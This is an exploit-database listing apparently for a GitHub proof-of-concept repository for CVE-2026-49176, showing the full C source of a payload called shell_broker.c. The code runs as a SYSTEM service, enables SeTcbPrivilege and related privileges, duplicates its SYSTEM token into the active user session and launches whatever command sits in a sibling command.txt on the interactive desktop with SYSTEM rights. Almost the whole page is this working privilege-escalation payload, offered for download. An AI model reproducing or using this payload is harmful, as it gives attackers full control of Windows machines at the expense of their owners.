Exploit database

GH-5eb819fcf6d9dc291b125b4c4966414c

777erp/cve-2026-49176_bof

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-49176

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
777erp/cve-2026-49176_bofRevision e724810b1c0f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

payload/shell_broker.c

C · 8,085 bytes
/*
 * shell_broker.exe - runs as a temporary service (full SYSTEM privileges),
 * reads sibling command.txt (UTF-16 LE) and launches it on the interactive
 * desktop via CreateProcessAsUserW.
 *
 * argv[1] = path to result.txt (append status log)
 */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
#include <wtsapi32.h>
#include <strsafe.h>

static char *append_text(char *cursor, const char *end, const char *text)
{
    while (*text && cursor < end)
        *cursor++ = *text++;
    return cursor;
}

static char *append_number(char *cursor, const char *end, DWORD value)
{
    char digits[16];
    unsigned count = 0;
    do {
        digits[count++] = (char)('0' + (value % 10));
        value /= 10;
    } while (value && count < sizeof(digits));
    while (count && cursor < end)
        *cursor++ = digits[--count];
    return cursor;
}

static void write_event(const wchar_t *path, const char *event_name,
                        DWORD child_pid, DWORD session_id, DWORD error)
{
    char user[256] = "<unknown>";
    DWORD user_length = sizeof(user);
    char line[1024];
    char *cursor = line;
    const char *end = line + sizeof(line) - 3;
    HANDLE file;
    DWORD written;

    GetUserNameA(user, &user_length);
    cursor = append_text(cursor, end, "event=");
    cursor = append_text(cursor, end, event_name);
    cursor = append_text(cursor, end, " broker_pid=");
    cursor = append_number(cursor, end, GetCurrentProcessId());
    cursor = append_text(cursor, end, " child_pid=");
    cursor = append_number(cursor, end, child_pid);
    cursor = append_text(cursor, end, " session=");
    cursor = append_number(cursor, end, session_id);
    cursor = append_text(cursor, end, " error=");
    cursor = append_number(cursor, end, error);
    cursor = append_text(cursor, end, " user=");
    cursor = append_text(cursor, end, user);
    *cursor++ = '\r';
    *cursor++ = '\n';

    file = CreateFileW(path, FILE_APPEND_DATA,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file != INVALID_HANDLE_VALUE) {
        WriteFile(file, line, (DWORD)(cursor - line), &written, NULL);
        FlushFileBuffers(file);
        CloseHandle(file);
    }
}

static void enable_privilege(HANDLE token, const wchar_t *name)
{
    TOKEN_PRIVILEGES privileges;
    ZeroMemory(&privileges, sizeof(privileges));
    privileges.PrivilegeCount = 1;
    if (!LookupPrivilegeValueW(NULL, name, &privileges.Privileges[0].Luid))
        return;
    privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(token, FALSE, &privileges, sizeof(privileges), NULL, NULL);
}

static DWORD active_session(void)
{
    PWTS_SESSION_INFOW sessions = NULL;
    DWORD count = 0;
    DWORD session_id = WTSGetActiveConsoleSessionId();
    DWORD i;

    if (WTSEnumerateSessionsW(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &count)) {
        for (i = 0; i < count; ++i) {
            if (sessions[i].State == WTSActive) {
                session_id = sessions[i].SessionId;
                break;
            }
        }
        WTSFreeMemory(sessions);
    }
    return session_id;
}

static BOOL sibling_of_self(const wchar_t *name, wchar_t *path, size_t count)
{
    wchar_t *cursor;
    if (!GetModuleFileNameW(NULL, path, (DWORD)count))
        return FALSE;
    cursor = path;
    while (*cursor)
        ++cursor;
    while (cursor > path && cursor[-1] != L'\\')
        --cursor;
    return SUCCEEDED(StringCchCopyW(cursor, count - (size_t)(cursor - path), name));
}

static wchar_t *read_command_file(void)
{
    wchar_t path[MAX_PATH];
    HANDLE file;
    DWORD size = 0;
    DWORD read = 0;
    BYTE *raw = NULL;
    wchar_t *cmd = NULL;
    size_t chars;

    if (!sibling_of_self(L"command.txt", path, ARRAYSIZE(path)))
        return NULL;

    file = CreateFileW(path, GENERIC_READ,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE)
        return NULL;

    size = GetFileSize(file, NULL);
    if (size == INVALID_FILE_SIZE || size == 0 || size > 0x10000) {
        CloseHandle(file);
        return NULL;
    }

    raw = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size + 4);
    if (!raw) {
        CloseHandle(file);
        return NULL;
    }
    if (!ReadFile(file, raw, size, &read, NULL) || read != size) {
        HeapFree(GetProcessHeap(), 0, raw);
        CloseHandle(file);
        return NULL;
    }
    CloseHandle(file);

    if (size >= 2 && raw[0] == 0xFF && raw[1] == 0xFE) {
        chars = (size - 2) / sizeof(wchar_t);
        cmd = (wchar_t *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
                                   (chars + 1) * sizeof(wchar_t));
        if (cmd)
            CopyMemory(cmd, raw + 2, chars * sizeof(wchar_t));
    } else {
        chars = size / sizeof(wchar_t);
        cmd = (wchar_t *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
                                   (chars + 1) * sizeof(wchar_t));
        if (cmd)
            CopyMemory(cmd, raw, chars * sizeof(wchar_t));
    }
    HeapFree(GetProcessHeap(), 0, raw);
    return cmd;
}

int wmain(int argc, wchar_t **argv)
{
    HANDLE process_token = NULL;
    HANDLE primary_token = NULL;
    LPVOID environment = NULL;
    DWORD session_id = active_session();
    DWORD error = ERROR_SUCCESS;
    DWORD flags = CREATE_NEW_CONSOLE;
    STARTUPINFOW startup;
    PROCESS_INFORMATION process;
    wchar_t *command = NULL;

    if (argc != 2)
        return ERROR_INVALID_PARAMETER;

    command = read_command_file();
    if (!command || !command[0]) {
        write_event(argv[1], "NO_COMMAND", 0, session_id, ERROR_FILE_NOT_FOUND);
        return ERROR_FILE_NOT_FOUND;
    }

    ZeroMemory(&startup, sizeof(startup));
    ZeroMemory(&process, sizeof(process));
    startup.cb = sizeof(startup);
    startup.lpDesktop = L"winsta0\\default";

    if (session_id == 0xFFFFFFFF) {
        error = ERROR_NO_SUCH_LOGON_SESSION;
        goto failed;
    }
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY |
                              TOKEN_ADJUST_PRIVILEGES,
                          &process_token)) {
        error = GetLastError();
        goto failed;
    }

    enable_privilege(process_token, L"SeAssignPrimaryTokenPrivilege");
    enable_privilege(process_token, L"SeIncreaseQuotaPrivilege");
    enable_privilege(process_token, L"SeTcbPrivilege");

    if (!DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL,
                          SecurityImpersonation, TokenPrimary, &primary_token)) {
        error = GetLastError();
        goto failed;
    }
    if (!SetTokenInformation(primary_token, TokenSessionId, &session_id,
                             sizeof(session_id))) {
        error = GetLastError();
        goto failed;
    }
    if (CreateEnvironmentBlock(&environment, primary_token, FALSE))
        flags |= CREATE_UNICODE_ENVIRONMENT;

    if (!CreateProcessAsUserW(primary_token, NULL, command, NULL, NULL, FALSE,
                              flags, environment, NULL, &startup, &process)) {
        error = GetLastError();
        goto failed;
    }

    write_event(argv[1], "SYSTEM_PROCESS_STARTED", process.dwProcessId,
                session_id, 0);
    CloseHandle(process.hThread);
    CloseHandle(process.hProcess);
    if (environment)
        DestroyEnvironmentBlock(environment);
    CloseHandle(primary_token);
    CloseHandle(process_token);
    HeapFree(GetProcessHeap(), 0, command);
    return 0;

failed:
    write_event(argv[1], "SYSTEM_PROCESS_FAILED", 0, session_id, error);
    if (environment)
        DestroyEnvironmentBlock(environment);
    if (primary_token)
        CloseHandle(primary_token);
    if (process_token)
        CloseHandle(process_token);
    if (command)
        HeapFree(GetProcessHeap(), 0, command);
    return (int)error;
}